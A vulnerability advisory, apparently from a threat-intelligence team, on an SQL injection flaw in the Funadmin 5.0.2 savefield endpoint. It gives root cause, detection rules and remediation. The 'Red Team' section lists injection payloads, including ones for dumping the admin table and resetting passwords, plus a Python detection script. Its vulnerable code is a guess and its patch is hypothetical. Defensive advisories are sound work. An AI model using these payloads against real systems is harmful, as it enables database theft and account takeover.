CVE-2024-48226

Executive Summary

CVE-2024-48226 is a critical SQL Injection vulnerability discovered in Funadmin version 5.0.2, specifically within the curd/table/savefield endpoint. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution. The vendor has not released a patch, and no official advisory exists. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is high due to the lack of remediation.

Supply Chain & Package Security

Funadmin is a PHP-based admin panel framework. The vulnerability resides in the core application code, not in a third-party package. However, organizations using Funadmin should treat this as a critical supply chain risk, as the vendor has not responded to disclosure. No known malicious packages or backdoors have been associated with this CVE.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the database are the same scope.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via SQL injection.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – due to unauthenticated remote exploitation and no patch available.

Deep Dive & Mechanics

The vulnerability exists in the curd/table/savefield endpoint of Funadmin 5.0.2. The application fails to properly sanitize user-supplied input before using it in SQL queries. Specifically, the field parameter (or similar) is directly concatenated into an SQL UPDATE or INSERT statement without parameterization or escaping.

Root Cause: The code likely uses string concatenation to build SQL queries, e.g.:

$sql = "UPDATE `table` SET `".$_POST['field']."` = '".$_POST['value']."' WHERE id = ".$_POST['id'];

This allows an attacker to inject arbitrary SQL by providing a crafted field value such as:

field=name`=1,`password`=MD5('newpass') WHERE 1=1 -- -

Attack Flow:

1. Attacker sends a POST request to /curd/table/savefield with malicious parameters.
2. The application builds an SQL query using the unsanitized input.
3. The injected SQL is executed against the database.
4. Attacker can extract data, modify records, or potentially execute system commands if the database user has INTO OUTFILE privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Funadmin 5.0.2):

// Vulnerable: direct concatenation
$field = $_POST['field'];
$value = $_POST['value'];
$id = $_POST['id'];
$sql = "UPDATE `table` SET `$field` = '$value' WHERE id = $id";
$db->query($sql);

Patched Code (Hypothetical):

// Patched: use prepared statements
$field = $_POST['field'];
$value = $_POST['value'];
$id = $_POST['id'];
// Whitelist allowed fields
$allowedFields = ['name', 'email', 'status'];
if (!in_array($field, $allowedFields)) {
    die('Invalid field');
}
$stmt = $db->prepare("UPDATE `table` SET `$field` = ? WHERE id = ?");
$stmt->bind_param('si', $value, $id);
$stmt->execute();

Note: The patched code above is a hypothetical fix. No official patch exists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Funadmin 5.0.2 instance accessible over network.
• Knowledge of the target database structure (can be enumerated via error-based SQLi).

Exploit Steps:

1. Identify the vulnerable endpoint: POST /curd/table/savefield
2. Craft a malicious payload to extract data. Example using time-based blind SQLi:

   POST /curd/table/savefield HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   field=name`=1 WHERE 1=1 AND SLEEP(5)-- -&value=test&id=1
   

3. For data exfiltration, use UNION-based injection:

   field=name`=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -&value=test&id=1
   

4. To dump the admin password:

   field=name`=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM funadmin_user-- -&value=test&id=1
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com/curd/table/savefield"
payload = "name`=1 WHERE 1=1 AND SLEEP(5)-- -"
data = {"field": payload, "value": "test", "id": "1"}
response = requests.post(target, data=data)
if response.elapsed.total_seconds() > 4:
    print("Vulnerable to time-based SQLi")

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /curd/table/savefield with unusual field parameters containing SQL keywords (UNION, SELECT, SLEEP, etc.).
• Look for abnormal response times (time-based SQLi).
• Alert on database error messages in responses.

Response:

1. Immediately isolate the affected server.
2. Review database logs for unauthorized queries.
3. Rotate all database credentials.
4. Apply a WAF rule to block SQLi patterns on the vulnerable endpoint.
5. If possible, disable the curd/table/savefield endpoint until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /curd/table/savefield with field parameter containing SQL keywords.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Abnormal response times (>5 seconds) for normal-looking requests.

File IOCs:

• Modified database records (e.g., admin password hashes changed).
• New files in the web root (if INTO OUTFILE was used).
• Suspicious entries in web server access logs.

Log IOCs:

• Database query logs showing UNION, SLEEP, BENCHMARK, or INTO OUTFILE.
• Web server logs showing repeated requests to /curd/table/savefield with varying field values.

Detection Engineering

YARA Rule

rule Detect_Funadmin_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting Funadmin curd/table/savefield"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-48226"
    strings:
        $s1 = "curd/table/savefield" nocase
        $s2 = "field=" nocase
        $sql1 = "union" nocase
        $sql2 = "select" nocase
        $sql3 = "sleep" nocase
        $sql4 = "benchmark" nocase
        $sql5 = "into outfile" nocase
    condition:
        $s1 and $s2 and 1 of ($sql*)
}

Sigma Rule

title: Funadmin SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Funadmin curd/table/savefield endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'curd/table/savefield'
    keywords:
        - 'union'
        - 'select'
        - 'sleep('
        - 'benchmark('
        - 'into outfile'
    condition: selection and keywords
falsepositives:
    - Legitimate use of field names containing these words (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48226 Funadmin SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"curd/table/savefield";
    http_uri;
    content:"field=";
    http_client_body;
    pcre:"/(union|select|sleep\(|benchmark\(|into\s+outfile)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /curd/table/savefield via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply WAF rules: Use a Web Application Firewall to block SQLi patterns on the vulnerable endpoint.
3. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.

Long-term Fix:

• Rewrite the affected code to use prepared statements with parameterized queries.
• Implement input validation and whitelisting for field names.
• Conduct a full security audit of the Funadmin codebase.

Workaround:

• If the endpoint is required for business operations, restrict access to trusted IP addresses only.
• Monitor logs aggressively for any exploitation attempts.

Valters IT - DevSecOps & Cyber Threat Intelligence